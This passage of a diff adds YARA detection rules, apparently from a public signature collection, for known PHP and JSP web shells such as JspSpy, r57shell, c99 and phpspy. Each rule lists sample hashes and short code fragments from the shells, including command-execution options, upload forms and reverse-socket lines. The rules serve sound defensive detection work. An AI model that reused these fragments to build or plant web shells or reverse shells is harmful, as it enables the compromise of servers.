+		hash17 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash18 = "655722eaa6c646437c8ae93daac46ae0"
+		hash19 = "b9744f6876919c46a29ea05b1d95b1c3"
+		hash20 = "9c94637f76e68487fa33f7b0030dd932"
+		hash21 = "6acc82544be056580c3a1caaa4999956"
+		hash22 = "6aa32a6392840e161a018f3907a86968"
+		hash23 = "349ec229e3f8eda0f9eb918c74a8bf4c"
+		hash24 = "3ea688e3439a1f56b16694667938316d"
+		hash25 = "ab77e4d1006259d7cbc15884416ca88c"
+		hash26 = "71097537a91fac6b01f46f66ee2d7749"
+		hash27 = "2434a7a07cb47ce25b41d30bc291cacc"
+		hash28 = "7a4b090619ecce6f7bd838fe5c58554b"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s8 = "\"<form action=\\\"\"+SHELL_NAME+\"?o=upload\\\" method=\\\"POST\\\" enctype="
+		$s9 = "<option value='reg query \\\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\T"
+	condition:
+		all of them
+}
+rule webshell_2_520_job_ma1_ma4_2 {
+	meta:
+		description = "Web Shell - from files 2.jsp, 520.jsp, job.jsp, ma1.jsp, ma4.jsp, 2.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "64a3bf9142b045b9062b204db39d4d57"
+		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
+		hash2 = "56c005690da2558690c4aa305a31ad37"
+		hash3 = "532b93e02cddfbb548ce5938fe2f5559"
+		hash4 = "6e0fa491d620d4af4b67bae9162844ae"
+		hash5 = "7eabe0f60975c0c73d625b7ddf7b9cbd"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s4 = "_url = \"jdbc:microsoft:sqlserver://\" + dbServer + \":\" + dbPort + \";User=\" "
+		$s9 = "result += \"<meta http-equiv=\\\"refresh\\\" content=\\\"2;url=\" + request.getR"
+	condition:
+		all of them
+}
+rule webshell_000_403_807_a_c5_config_css_dm_he1p_JspSpy_JspSpyJDK5_JspSpyJDK51_luci_jsp_xxx {
+	meta:
+		description = "Web Shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
+		hash3 = "76037ebd781ad0eac363d56fc81f4b4f"
+		hash4 = "8b457934da3821ba58b06a113e0d53d9"
+		hash5 = "d44df8b1543b837e57cc8f25a0a68d92"
+		hash6 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
+		hash7 = "14e9688c86b454ed48171a9d4f48ace8"
+		hash8 = "b330a6c2d49124ef0729539761d6ef0b"
+		hash9 = "d71716df5042880ef84427acee8b121e"
+		hash10 = "341298482cf90febebb8616426080d1d"
+		hash11 = "29aebe333d6332f0ebc2258def94d57e"
+		hash12 = "42654af68e5d4ea217e6ece5389eb302"
+		hash13 = "88fc87e7c58249a398efd5ceae636073"
+		hash14 = "4a812678308475c64132a9b56254edbc"
+		hash15 = "9626eef1a8b9b8d773a3b2af09306a10"
+		hash16 = "e0354099bee243702eb11df8d0e046df"
+		hash17 = "344f9073576a066142b2023629539ebd"
+		hash18 = "32dea47d9c13f9000c4c807561341bee"
+		hash19 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash20 = "655722eaa6c646437c8ae93daac46ae0"
+		hash21 = "b9744f6876919c46a29ea05b1d95b1c3"
+		hash22 = "9c94637f76e68487fa33f7b0030dd932"
+		hash23 = "6acc82544be056580c3a1caaa4999956"
+		hash24 = "6aa32a6392840e161a018f3907a86968"
+		hash25 = "591ca89a25f06cf01e4345f98a22845c"
+		hash26 = "349ec229e3f8eda0f9eb918c74a8bf4c"
+		hash27 = "3ea688e3439a1f56b16694667938316d"
+		hash28 = "ab77e4d1006259d7cbc15884416ca88c"
+		hash29 = "71097537a91fac6b01f46f66ee2d7749"
+		hash30 = "2434a7a07cb47ce25b41d30bc291cacc"
+		hash31 = "7a4b090619ecce6f7bd838fe5c58554b"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "ports = \"21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500\";" fullword
+		$s1 = "private static class VEditPropertyInvoker extends DefaultInvoker {" fullword
+	condition:
+		all of them
+}
+rule webshell_wso2_5_1_wso2_5_wso2 {
+	meta:
+		description = "Web Shell - from files wso2.5.1.php, wso2.5.php, wso2.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "dbeecd555a2ef80615f0894027ad75dc"
+		hash1 = "7c8e5d31aad28eb1f0a9a53145551e05"
+		hash2 = "cbc44fb78220958f81b739b493024688"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s7 = "$opt_charsets .= '<option value=\"'.$item.'\" '.($_POST['charset']==$item?'selec"
+		$s8 = ".'</td><td><a href=\"#\" onclick=\"g(\\'FilesTools\\',null,\\''.urlencode($f['na"
+	condition:
+		all of them
+}
+rule webshell_000_403_c5_queryDong_spyjsp2010_t00ls {
+	meta:
+		description = "Web Shell - from files 000.jsp, 403.jsp, c5.jsp, queryDong.jsp, spyjsp2010.jsp, t00ls.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "8b457934da3821ba58b06a113e0d53d9"
+		hash3 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash4 = "655722eaa6c646437c8ae93daac46ae0"
+		hash5 = "9c94637f76e68487fa33f7b0030dd932"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s8 = "table.append(\"<td nowrap> <a href=\\\"#\\\" onclick=\\\"view('\"+tbName+\"')"
+		$s9 = "\"<p><input type=\\\"hidden\\\" name=\\\"selectDb\\\" value=\\\"\"+selectDb+\""
+	condition:
+		all of them
+}
+rule webshell_404_data_suiyue {
+	meta:
+		description = "Web Shell - from files 404.jsp, data.jsp, suiyue.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "7066f4469c3ec20f4890535b5f299122"
+		hash1 = "9f54aa7b43797be9bab7d094f238b4ff"
+		hash2 = "c93d5bdf5cf62fe22e299d0f2b865ea7"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s3 = " sbCopy.append(\"<input type=button name=goback value=' \"+strBack[languageNo]+"
+	condition:
+		all of them
+}
+rule webshell_r57shell_r57shell127_SnIpEr_SA_Shell_EgY_SpIdEr_ShElL_V2_r57_xxx {
+	meta:
+		description = "Web Shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "ef43fef943e9df90ddb6257950b3538f"
+		hash1 = "ae025c886fbe7f9ed159f49593674832"
+		hash2 = "911195a9b7c010f61b66439d9048f400"
+		hash3 = "697dae78c040150daff7db751fc0c03c"
+		hash4 = "513b7be8bd0595c377283a7c87b44b2e"
+		hash5 = "1d912c55b96e2efe8ca873d6040e3b30"
+		hash6 = "e5b2131dd1db0dbdb43b53c5ce99016a"
+		hash7 = "4108f28a9792b50d95f95b9e5314fa1e"
+		hash8 = "41af6fd253648885c7ad2ed524e0692d"
+		hash9 = "6fcc283470465eed4870bcc3e2d7f14d"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s2 = "echo sr(15,\"<b>\".$lang[$language.'_text58'].$arrow.\"</b>\",in('text','mk_name"
+		$s3 = "echo sr(15,\"<b>\".$lang[$language.'_text21'].$arrow.\"</b>\",in('checkbox','nf1"
+		$s9 = "echo sr(40,\"<b>\".$lang[$language.'_text26'].$arrow.\"</b>\",\"<select size="
+	condition:
+		all of them
+}
+rule webshell_807_a_css_dm_he1p_JspSpy_xxx {
+	meta:
+		description = "Web Shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
+		hash1 = "76037ebd781ad0eac363d56fc81f4b4f"
+		hash2 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
+		hash3 = "14e9688c86b454ed48171a9d4f48ace8"
+		hash4 = "b330a6c2d49124ef0729539761d6ef0b"
+		hash5 = "d71716df5042880ef84427acee8b121e"
+		hash6 = "341298482cf90febebb8616426080d1d"
+		hash7 = "29aebe333d6332f0ebc2258def94d57e"
+		hash8 = "42654af68e5d4ea217e6ece5389eb302"
+		hash9 = "88fc87e7c58249a398efd5ceae636073"
+		hash10 = "4a812678308475c64132a9b56254edbc"
+		hash11 = "9626eef1a8b9b8d773a3b2af09306a10"
+		hash12 = "344f9073576a066142b2023629539ebd"
+		hash13 = "32dea47d9c13f9000c4c807561341bee"
+		hash14 = "b9744f6876919c46a29ea05b1d95b1c3"
+		hash15 = "6acc82544be056580c3a1caaa4999956"
+		hash16 = "6aa32a6392840e161a018f3907a86968"
+		hash17 = "349ec229e3f8eda0f9eb918c74a8bf4c"
+		hash18 = "3ea688e3439a1f56b16694667938316d"
+		hash19 = "ab77e4d1006259d7cbc15884416ca88c"
+		hash20 = "71097537a91fac6b01f46f66ee2d7749"
+		hash21 = "2434a7a07cb47ce25b41d30bc291cacc"
+		hash22 = "7a4b090619ecce6f7bd838fe5c58554b"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "\"<h2>Remote Control &raquo;</h2><input class=\\\"bt\\\" onclick=\\\"var"
+		$s2 = "\"<p>Current File (import new file name and new file)<br /><input class=\\\"inpu"
+		$s3 = "\"<p>Current file (fullpath)<br /><input class=\\\"input\\\" name=\\\"file\\\" i"
+	condition:
+		all of them
+}
+rule webshell_201_3_ma_download {
+	meta:
+		description = "Web Shell - from files 201.jsp, 3.jsp, ma.jsp, download.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "a7e25b8ac605753ed0c438db93f6c498"
+		hash1 = "fb8c6c3a69b93e5e7193036fd31a958d"
+		hash2 = "4cc68fa572e88b669bce606c7ace0ae9"
+		hash3 = "fa87bbd7201021c1aefee6fcc5b8e25a"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<input title=\"Upload selected file to the current working directory\" type=\"Su"
+		$s5 = "<input title=\"Launch command in current directory\" type=\"Submit\" class=\"but"
+		$s6 = "<input title=\"Delete all selected files and directories incl. subdirs\" class="
+	condition:
+		all of them
+}
+rule webshell_browser_201_3_400_in_JFolder_jfolder01_jsp_leo_ma_warn_webshell_nc_download {
+	meta:
+		description = "Web Shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "37603e44ee6dc1c359feb68a0d566f76"
+		hash1 = "a7e25b8ac605753ed0c438db93f6c498"
+		hash2 = "fb8c6c3a69b93e5e7193036fd31a958d"
+		hash3 = "36331f2c81bad763528d0ae00edf55be"
+		hash4 = "793b3d0a740dbf355df3e6f68b8217a4"
+		hash5 = "8979594423b68489024447474d113894"
+		hash6 = "ec482fc969d182e5440521c913bab9bd"
+		hash7 = "f98d2b33cd777e160d1489afed96de39"
+		hash8 = "4b4c12b3002fad88ca6346a873855209"
+		hash9 = "4cc68fa572e88b669bce606c7ace0ae9"
+		hash10 = "e9a5280f77537e23da2545306f6a19ad"
+		hash11 = "598eef7544935cf2139d1eada4375bb5"
+		hash12 = "fa87bbd7201021c1aefee6fcc5b8e25a"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s4 = "UplInfo info = UploadMonitor.getInfo(fi.clientFileName);" fullword
+		$s5 = "long time = (System.currentTimeMillis() - starttime) / 1000l;" fullword
+	condition:
+		all of them
+}
+rule webshell_shell_phpspy_2006_arabicspy {
+	meta:
+		description = "Web Shell - from files shell.php, phpspy_2006.php, arabicspy.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "791708057d8b429d91357d38edf43cc0"
+		hash1 = "40a1f840111996ff7200d18968e42cfe"
+		hash2 = "e0202adff532b28ef1ba206cf95962f2"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "elseif(($regwrite) AND !empty($_POST['writeregname']) AND !empty($_POST['regtype"
+		$s8 = "echo \"<form action=\\\"?action=shell&dir=\".urlencode($dir).\"\\\" method=\\\"P"
+	condition:
+		all of them
+}
+rule webshell_in_JFolder_jfolder01_jsp_leo_warn {
+	meta:
+		description = "Web Shell - from files in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, leo.jsp, warn.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "793b3d0a740dbf355df3e6f68b8217a4"
+		hash1 = "8979594423b68489024447474d113894"
+		hash2 = "ec482fc969d182e5440521c913bab9bd"
+		hash3 = "f98d2b33cd777e160d1489afed96de39"
+		hash4 = "4b4c12b3002fad88ca6346a873855209"
+		hash5 = "e9a5280f77537e23da2545306f6a19ad"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s4 = "sbFile.append(\"  &nbsp;<a href=\\\"javascript:doForm('down','\"+formatPath(strD"
+		$s9 = "sbFile.append(\" &nbsp;<a href=\\\"javascript:doForm('edit','\"+formatPath(strDi"
+	condition:
+		all of them
+}
+rule webshell_2_520_icesword_job_ma1_ma4_2 {
+	meta:
+		description = "Web Shell - from files 2.jsp, 520.jsp, icesword.jsp, job.jsp, ma1.jsp, ma4.jsp, 2.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "64a3bf9142b045b9062b204db39d4d57"
+		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
+		hash2 = "077f4b1b6d705d223b6d644a4f3eebae"
+		hash3 = "56c005690da2558690c4aa305a31ad37"
+		hash4 = "532b93e02cddfbb548ce5938fe2f5559"
+		hash5 = "6e0fa491d620d4af4b67bae9162844ae"
+		hash6 = "7eabe0f60975c0c73d625b7ddf7b9cbd"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s2 = "private String[] _textFileTypes = {\"txt\", \"htm\", \"html\", \"asp\", \"jsp\","
+		$s3 = "\\\" name=\\\"upFile\\\" size=\\\"8\\\" class=\\\"textbox\\\" />&nbsp;<input typ"
+		$s9 = "if (request.getParameter(\"password\") == null && session.getAttribute(\"passwor"
+	condition:
+		all of them
+}
+rule webshell_phpspy_2005_full_phpspy_2005_lite_PHPSPY {
+	meta:
+		description = "Web Shell - from files phpspy_2005_full.php, phpspy_2005_lite.php, PHPSPY.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "b68bfafc6059fd26732fa07fb6f7f640"
+		hash1 = "42f211cec8032eb0881e87ebdb3d7224"
+		hash2 = "0712e3dc262b4e1f98ed25760b206836"
+		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"
+	strings:
+		$s6 = "<input type=\"text\" name=\"command\" size=\"60\" value=\"<?=$_POST['comma"
+		$s7 = "echo $msg=@copy($_FILES['uploadmyfile']['tmp_name'],\"\".$uploaddir.\"/\".$_FILE"
+		$s8 = "<option value=\"passthru\" <? if ($execfunc==\"passthru\") { echo \"selected\"; "
+	condition:
+		2 of them
+}
+rule webshell_shell_phpspy_2006_arabicspy_hkrkoz {
+	meta:
+		description = "Web Shell - from files shell.php, phpspy_2006.php, arabicspy.php, hkrkoz.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "791708057d8b429d91357d38edf43cc0"
+		hash1 = "40a1f840111996ff7200d18968e42cfe"
+		hash2 = "e0202adff532b28ef1ba206cf95962f2"
+		hash3 = "802f5cae46d394b297482fd0c27cb2fc"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s5 = "$prog = isset($_POST['prog']) ? $_POST['prog'] : \"/c net start > \".$pathname."
+	condition:
+		all of them
+}
+rule webshell_c99_Shell_ci_Biz_was_here_c100_v_xxx {
+	meta:
+		description = "Web Shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
+		hash1 = "f2fa878de03732fbf5c86d656467ff50"
+		hash2 = "27786d1e0b1046a1a7f67ee41c64bf4c"
+		hash3 = "0f5b9238d281bc6ac13406bb24ac2a5b"
+		hash4 = "68c0629d08b1664f5bcce7d7f5f71d22"
+		hash5 = "048ccc01b873b40d57ce25a4c56ea717"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s8 = "else {echo \"Running datapipe... ok! Connect to <b>\".getenv(\"SERVER_ADDR\""
+	condition:
+		all of them
+}
+rule webshell_2008_2009lite_2009mssql {
+	meta:
+		description = "Web Shell - from files 2008.php, 2009lite.php, 2009mssql.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "3e4ba470d4c38765e4b16ed930facf2c"
+		hash1 = "3f4d454d27ecc0013e783ed921eeecde"
+		hash2 = "aa17b71bb93c6789911bd1c9df834ff9"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<a href=\"javascript:godir(\\''.$drive->Path.'/\\');"
+		$s7 = "p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all"
+	condition:
+		all of them
+}
+rule webshell_shell_phpspy_2005_full_phpspy_2005_lite_phpspy_2006_arabicspy_PHPSPY_hkrkoz {
+	meta:
+		description = "Web Shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "791708057d8b429d91357d38edf43cc0"
+		hash1 = "b68bfafc6059fd26732fa07fb6f7f640"
+		hash2 = "42f211cec8032eb0881e87ebdb3d7224"
+		hash3 = "40a1f840111996ff7200d18968e42cfe"
+		hash4 = "e0202adff532b28ef1ba206cf95962f2"
+		hash5 = "0712e3dc262b4e1f98ed25760b206836"
+		hash6 = "802f5cae46d394b297482fd0c27cb2fc"
+		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"
+	strings:
+		$s0 = "$mainpath_info           = explode('/', $mainpath);" fullword
+		$s6 = "if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == \"d"
+	condition:
+		all of them
+}
+rule webshell_807_dm_JspSpyJDK5_m_cofigrue {
+	meta:
+		description = "Web Shell - from files 807.jsp, dm.jsp, JspSpyJDK5.jsp, m.jsp, cofigrue.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
+		hash1 = "14e9688c86b454ed48171a9d4f48ace8"
+		hash2 = "341298482cf90febebb8616426080d1d"
+		hash3 = "88fc87e7c58249a398efd5ceae636073"
+		hash4 = "349ec229e3f8eda0f9eb918c74a8bf4c"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "url_con.setRequestProperty(\"REFERER\", \"\"+fckal+\"\");" fullword
+		$s9 = "FileLocalUpload(uc(dx())+sxm,request.getRequestURL().toString(),  \"GBK\");" fullword
+	condition:
+		1 of them
+}
+rule webshell_Dive_Shell_1_0_Emperor_Hacking_Team_xxx {
+	meta:
+		description = "Web Shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "1b5102bdc41a7bc439eea8f0010310a5"
+		hash1 = "f8a6d5306fb37414c5c772315a27832f"
+		hash2 = "37cb1db26b1b0161a4bf678a6b4565bd"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== fals"
+		$s9 = "if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) {" fullword
+	condition:
+		all of them
+}
+rule webshell_404_data_in_JFolder_jfolder01_xxx {
+	meta:
+		description = "Web Shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "7066f4469c3ec20f4890535b5f299122"
+		hash1 = "9f54aa7b43797be9bab7d094f238b4ff"
+		hash2 = "793b3d0a740dbf355df3e6f68b8217a4"
+		hash3 = "8979594423b68489024447474d113894"
+		hash4 = "ec482fc969d182e5440521c913bab9bd"
+		hash5 = "f98d2b33cd777e160d1489afed96de39"
+		hash6 = "4b4c12b3002fad88ca6346a873855209"
+		hash7 = "c93d5bdf5cf62fe22e299d0f2b865ea7"
+		hash8 = "e9a5280f77537e23da2545306f6a19ad"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s4 = "&nbsp;<TEXTAREA NAME=\"cqq\" ROWS=\"20\" COLS=\"100%\"><%=sbCmd.toString()%></TE"
+	condition:
+		all of them
+}
+rule webshell_jsp_reverse_jsp_reverse_jspbd {
+	meta:
+		description = "Web Shell - from files jsp-reverse.jsp, jsp-reverse.jsp, jspbd.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		super_rule = 1
+		hash0 = "8b0e6779f25a17f0ffb3df14122ba594"
+		hash1 = "ea87f0c1f0535610becadf5a98aca2fc"
+		hash2 = "7d5e9732766cf5b8edca9b7ae2b6028f"
+		score = 50
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "osw = new BufferedWriter(new OutputStreamWriter(os));" fullword
+		$s7 = "sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());" fullword
+		$s9 = "isr = new BufferedReader(new InputStreamReader(is));" fullword
+	condition:
+		all of them
+}
+rule webshell_400_in_JFolder_jfolder01_jsp_leo_warn_webshell_nc {
+	meta:
+		description = "Web Shell - from files 400.jsp, in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, leo.jsp, warn.jsp, webshell-nc.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "36331f2c81bad763528d0ae00edf55be"
+		hash1 = "793b3d0a740dbf355df3e6f68b8217a4"
+		hash2 = "8979594423b68489024447474d113894"
+		hash3 = "ec482fc969d182e5440521c913bab9bd"
+		hash4 = "f98d2b33cd777e160d1489afed96de39"
+		hash5 = "4b4c12b3002fad88ca6346a873855209"
+		hash6 = "e9a5280f77537e23da2545306f6a19ad"
+		hash7 = "598eef7544935cf2139d1eada4375bb5"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "sbFolder.append(\"<tr><td >&nbsp;</td><td>\");" fullword
+		$s1 = "return filesize / intDivisor + \".\" + strAfterComma + \" \" + strUnit;" fullword
+		$s5 = "FileInfo fi = (FileInfo) ht.get(\"cqqUploadFile\");" fullword
+		$s6 = "<input type=\"hidden\" name=\"cmd\" value=\"<%=strCmd%>\">" fullword
+	condition:
+		2 of them
+}
+rule webshell_2_520_job_JspWebshell_1_2_ma1_ma4_2 {
+	meta:
+		description = "Web Shell - from files 2.jsp, 520.jsp, job.jsp, JspWebshell 1.2.jsp, ma1.jsp, ma4.jsp, 2.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "64a3bf9142b045b9062b204db39d4d57"
+		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
+		hash2 = "56c005690da2558690c4aa305a31ad37"
+		hash3 = "70a0ee2624e5bbe5525ccadc467519f6"
+		hash4 = "532b93e02cddfbb548ce5938fe2f5559"
+		hash5 = "6e0fa491d620d4af4b67bae9162844ae"
+		hash6 = "7eabe0f60975c0c73d625b7ddf7b9cbd"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) {" fullword
+		$s6 = "password = (String)session.getAttribute(\"password\");" fullword
+		$s7 = "insReader = new InputStreamReader(proc.getInputStream(), Charset.forName(\"GB231"
+	condition:
+		2 of them
+}
+rule webshell_shell_2008_2009mssql_phpspy_2005_full_phpspy_2006_arabicspy_hkrkoz {
+	meta:
+		description = "Web Shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 60
+		super_rule = 1
+		hash0 = "791708057d8b429d91357d38edf43cc0"
+		hash1 = "3e4ba470d4c38765e4b16ed930facf2c"
+		hash2 = "aa17b71bb93c6789911bd1c9df834ff9"
+		hash3 = "b68bfafc6059fd26732fa07fb6f7f640"
+		hash4 = "40a1f840111996ff7200d18968e42cfe"
+		hash5 = "e0202adff532b28ef1ba206cf95962f2"
+		hash6 = "802f5cae46d394b297482fd0c27cb2fc"
+		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"
+	strings:
+		$s0 = "$tabledump .= \"'\".mysql_escape_string($row[$fieldcounter]).\"'\";" fullword
+		$s5 = "while(list($kname, $columns) = @each($index)) {" fullword
+		$s6 = "$tabledump = \"DROP TABLE IF EXISTS $table;\\n\";" fullword
+		$s9 = "$tabledump .= \"   PRIMARY KEY ($colnames)\";" fullword
+		$fn = "filename: backup"
+	condition:
+		2 of ($s*) and not $fn
+}
+rule webshell_gfs_sh_r57shell_r57shell127_SnIpEr_SA_xxx {
+	meta:
+		description = "Web Shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "a2516ac6ee41a7cf931cbaef1134a9e4"
+		hash1 = "ef43fef943e9df90ddb6257950b3538f"
+		hash2 = "ae025c886fbe7f9ed159f49593674832"
+		hash3 = "911195a9b7c010f61b66439d9048f400"
+		hash4 = "697dae78c040150daff7db751fc0c03c"
+		hash5 = "513b7be8bd0595c377283a7c87b44b2e"
+		hash6 = "1d912c55b96e2efe8ca873d6040e3b30"
+		hash7 = "e5b2131dd1db0dbdb43b53c5ce99016a"
+		hash8 = "4108f28a9792b50d95f95b9e5314fa1e"
+		hash9 = "41af6fd253648885c7ad2ed524e0692d"
+		hash10 = "6fcc283470465eed4870bcc3e2d7f14d"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuI"
+		$s11 = "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KIC"
+	condition:
+		all of them
+}
